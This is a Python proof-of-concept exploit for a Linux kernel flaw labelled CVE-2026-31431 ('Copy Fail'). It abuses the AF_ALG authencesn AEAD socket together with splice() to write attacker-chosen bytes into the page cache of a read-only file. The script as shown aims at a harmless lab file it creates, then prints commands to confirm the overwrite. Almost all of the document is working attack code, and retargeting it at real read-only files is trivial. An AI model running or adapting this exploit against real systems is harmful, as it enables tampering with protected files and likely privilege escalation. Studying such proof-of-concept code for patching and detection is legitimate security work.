CVE-2026-31431-Copy-Fail/proof-of-concept/copyfail_poc.py
2026-05-18 14:31:05 +08:00

115 lines
No EOL
3.5 KiB
Python

# copyfail_poc.py
import os
import struct
import socket
from pathlib import Path
AF_ALG = 38
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
ALG_OP_DECRYPT = 0
CRYPTO_AUTHENC_KEYA_PARAM = 1
target = "./target.bin"
overwrite_off = 0x1234
authsize = 0x10
splice_len = 0x20
splice_off = overwrite_off - (splice_len - authsize)
write_value = b"PWN!"
aad = b"A" * 4 + write_value
def marker(label):
with target_path.open("rb") as f:
f.seek(overwrite_off)
b = f.read(4)
print(f"{label} @ 0x{overwrite_off:x} = {b.hex(' ')} ({b!r})")
print(f"[+] target : {Path(target).expanduser()}")
print(f"[+] overwrite : file offset 0x{overwrite_off:x}")
print(f"[+] splice : offset=0x{splice_off:x} len=0x{splice_len:x} authsize=0x{authsize:x}")
print(f"[+] write value : {write_value!r}")
# 1. Create a harmless read-only lab target.
target_path = Path(target).expanduser()
target_path.parent.mkdir(parents=True, exist_ok=True)
data = bytearray(b"X" * 0x3000)
data[overwrite_off:overwrite_off + 4] = b"ORIG"
target_path.write_bytes(data)
with target_path.open("rb") as f:
os.fsync(f.fileno())
target_path.chmod(0o444)
marker("[+] marker before")
# 2. Open AF_ALG transform socket.
tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
try:
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
except FileNotFoundError:
print("[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).")
print("[!] Check /proc/crypto and try: sudo modprobe authencesn")
raise
print("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))")
# 3. Configure the authenc-compatible key blob and authsize, then accept.
key_blob = (
struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) +
struct.pack("!I", 16) +
(b"A" * 32) +
(b"B" * 16)
)
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, key_blob)
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, authsize)
print("[+] AEAD configured: authkey=32, enckey=16, authsize=0x10")
op, _ = tfm.accept()
print(f"[+] accepted operation socket: fd={op.fileno()}")
# 4. Queue attacker-controlled AAD.
# AAD[4:8] is the 4-byte value authencesn later writes.
iv = struct.pack("I", 16) + (b"\x44" * 16)
op.sendmsg(
[aad],
[
(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
(SOL_ALG, ALG_SET_IV, iv),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad))),
],
socket.MSG_MORE,
)
print(f"[+] AAD queued: assoclen={len(aad)}, AAD[4:8]={write_value!r}")
# 5. Splice target file bytes into a pipe.
r, w = os.pipe()
fd = os.open(str(target_path), os.O_RDONLY)
os.splice(fd, w, splice_len, splice_off, None, 0)
print(f"[+] splice(file -> pipe): 0x{splice_len:x} bytes from file offset 0x{splice_off:x}")
# 6. Splice pipe into AF_ALG operation socket.
os.splice(r, op.fileno(), splice_len, None, None, 0)
print(f"[+] splice(pipe -> AF_ALG): 0x{splice_len:x} bytes")
# 7. Trigger decrypt. Authentication is expected to fail.
try:
op.recv(0x1000)
print("[+] recv returned data")
except OSError as e:
print(f"recv failed as expected: {e}")
marker("[+] marker after ")
print(f"[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
print("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
print(f"[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
print("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches")
os.close(fd)
os.close(r)
os.close(w)
op.close()
tfm.close()